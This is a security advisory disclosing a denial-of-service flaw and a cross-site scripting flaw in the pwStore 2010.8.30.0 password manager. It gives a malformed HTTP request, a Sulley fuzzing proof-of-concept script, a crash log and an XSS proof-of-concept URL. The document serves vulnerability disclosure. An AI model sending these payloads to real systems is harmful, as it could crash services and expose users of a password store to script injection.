############################################################################## - RealPentesting Advisory - ############################################################################### Title: MULTIPLE VULNERABILITIES IN PWSTORE 2010.8.30.0 Severity: Medium History: 16.Apr.2013 Vulnerability reported Authors: Josep Pi Rodriguez, Pedro Guillen Nuñez, Miguel Angel de Castro Simon Organization: RealPentesting URL: http://www.realpentesting.blogspot.com Product: Pwstore Version: 2010.8.30.0 Vendor: Aultware Url Vendor: http://www.aultware.com/pwstore.html Platform: Windows Type of vulnerability: Denial of Servive (DoS) AND Cross Site Scripting (XSS) Issue fixed in version: (Not fixed) CVE Identifiers: CVE-2013-5657 (DoS), CVE-2013-5658 (XSS) [ DESCRIPTION SOFTWARE ] From vendor website: pwStore is a department / multi-user password management tool designed for small to medium sized IT groups. The purpose of pwStore is to consolidate all of the department's passwords into one secure location while allowing for multiple users to access this information. As of version 2.0, pwStore has been re-written as a webserver and runs as a Windows service. [ VULNERABILITY DETAILS ] DENIAL OF SERVICE (DOS): Pwstore suffers from a dos vulnerability. In order to exploit the vulnerability You have to put the characters \x0d\x0a (Hexadecimal) after the HTTP Headers as you can see above: -------------- GET / HTTP/1.1 HOST:\x0d\x0a \r\n\r\n --------------- We make using the sulley framework a poc code in order to exploit the vulnerability: ######################################################################################################## #!/usr/bin/env python from sulley import * import sys import time s_initialize("HTTP") s_static("GET / HTTP/1.1\r\n") s_static("Host") s_static(":\x0d\x0a") s_static(" ") s_string("192.168.1.39") s_static("\r\n") s_static("\r\n") print "Instantiating session" sess = sessions.session(session_filename="https_pwstore.session", proto="ssl", sleep_time=0.50) print "Instantiating target" target = sessions.target("192.168.1.39", 443) #target.procmon = pedrpc.client("127.0.0.1", 26002) #target.netmon = pedrpc.client("127.0.0.1", 26001) target.procmon_options = { "proc_name" : "savant.exe", "stop_commands" : ['wmic process where (name="savant.exe") delete"'], "start_commands" : ['C:\\savant\\savant.exe'], } print "Adding target" sess.add_target(target) print "Building graph" sess.connect(s_get("HTTP")) print "Starting fuzzing now" sess.fuzz() ##################################################################################### Evidence Log --------- (2a4.cfc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=01c40062 ecx=3fffffff edx=00000003 esi=01c40062 edi=00000000 eip=01017dce esp=0155fd94 ebp=0155fe98 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 *** WARNING: Unable to verify checksum for C:\pwStore\C70RUN.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\pwStore\C70RUN.dll - C70RUN!memcpy+0x3a: 01017dce f3a5 rep movs dword ptr es:[edi],dword ptr [esi] ##################################################################################### CROSS SITE SCRIPTING (XSS): The software suffers from a xss vulnerability too an this is in unatheunticated manner. You can check the vulnerability with this url POC: https://192.168.1.39/?81c93">86eed54cabcc98664=1&FormState=XJYDWJHIGP&tmp__UserName=aa&tmp__Password=aa&pressedButton=save_btn [ VENDOR COMMUNICATION ] 16/04/2013 : vendor contacted but no response 20/04/2013: vendor contacted again.No response 29/04/2013: PUBLIC DISCLOSURE